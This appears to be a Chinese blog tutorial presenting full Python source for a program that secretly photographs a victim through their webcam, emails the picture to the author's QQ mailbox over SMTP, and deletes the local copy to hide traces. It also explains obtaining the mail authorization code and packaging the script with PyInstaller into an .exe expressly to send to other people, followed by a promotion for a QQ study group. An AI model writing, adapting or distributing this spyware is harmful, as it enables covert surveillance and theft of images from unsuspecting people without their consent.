python竊取攝像頭照片原始碼+獲取授權碼方法+py打包成exe
教你怎么用python做一個自己的能竊取攝像頭照片的軟體,
首先我們要先去官網下載python,3.5版本以上的都可以,
然后安裝庫opencv-python,安裝方式為打開終端輸入命令列,
可以在使用pip的時候加引數-i https://pypi.tuna.tsinghua.edu.cn/simple,這樣就會從清華這邊的鏡像去安裝需要的庫,會快很多,
pip install opencv-python -i https://pypi.tuna.tsinghua.edu.cn/simple/
具體的代碼以及相應的注釋如下,你只需要更改收件人和發件人為自己的郵箱,更改授權碼,再編譯成可執行檔案,即把.py打包成.exe,這樣就可以發給別人用啦,
import os # 洗掉圖片檔案
import cv2 # 呼叫攝像頭拍攝照片
from smtplib import SMTP_SSL # SSL加密的 傳輸協議
from email.mime.text import MIMEText # 構建郵件文本
from email.mime.multipart import MIMEMultipart # 構建郵件體
from email.header import Header # 發送內容
# 呼叫攝像頭拍攝照片
def get_photo():
cap = cv2.VideoCapture(0) # 開啟攝像頭
f, frame = cap.read() # 將攝像頭中的一幀圖片資料保存
cv2.imwrite('image.jpg', frame) # 將圖片保存為本地檔案
cap.release() # 關閉攝像頭
# 把圖片檔案發送到我的郵箱
def send_message():
# 選擇QQ郵箱發送照片
host_server = 'smtp.qq.com' # QQ郵箱smtp服務器
pwd = '****************' # 授權碼
from_qq_mail = '[email protected]' # 發件人
to_qq_mail = '[email protected]' # 收件人
msg = MIMEMultipart() # 創建一封帶附件的郵件
msg['Subject'] = Header('攝像頭照片', 'UTF-8') # 訊息主題
msg['From'] = from_qq_mail # 發件人
msg['To'] = Header("YH", 'UTF-8') # 收件人
msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加郵件文本資訊
# 加載附件到郵箱中 SSL 方式 加密
image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')
image["Content-Type"] = 'image/jpeg' # 附件格式為圖片的加密資料
msg.attach(image) # 附件添加
# 開始發送郵件
smtp = SMTP_SSL(host_server) # 鏈接服務器
smtp .login(from_qq_mail, pwd) # 登錄郵箱
smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 發送郵箱
smtp.quit() # 退出
if __name__ == '__main__':
get_photo() # 開啟攝像頭獲取照片
send_message() # 發送照片
os.remove('image.jpg') # 洗掉本地照片
獲取授權碼的方法:設定->賬戶->開啟pop3/smtp服務->驗證密保,即可獲取到16位授權碼,
打包方法:
1.先安裝pyinstaller,在終端中輸入pip install pyinstaller即可,
2.找路徑,用cd法找路徑比較麻煩,這里推薦一種簡便的方法,直接在路徑框里面輸入cmd進入終端即可,進入了就是目標路徑,
3.打包,輸入命令列
pyinstaller --console --onefile 7.py //這里打包的是一個叫7.py的檔案,
在dist檔案夾里面即可找到可執行檔案,
最后實驗一下,會得到一個bin后綴的附件,把他改成jpg即可查看,
推薦 :
- 精品小圈子每日都有新內容,干貨濃度極高,
- 結實人脈、討論技術 你想要的這里都有!
- 搶先入群,跑贏同齡人!(入群無需任何費用)
- 點擊此處,與Python開發大牛一起交流學習
- 群號:974724894
申請即送:
Python軟體安裝包,Python實戰教程資料免費領取,包括 Python基礎學習、進階學習、爬蟲、自動化運維、自動化測驗等,還有爬蟲練習題和代碼和小游戲的源代碼

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/246749.html
標籤:其他
下一篇:企業大資料平臺倉庫架構建設思路
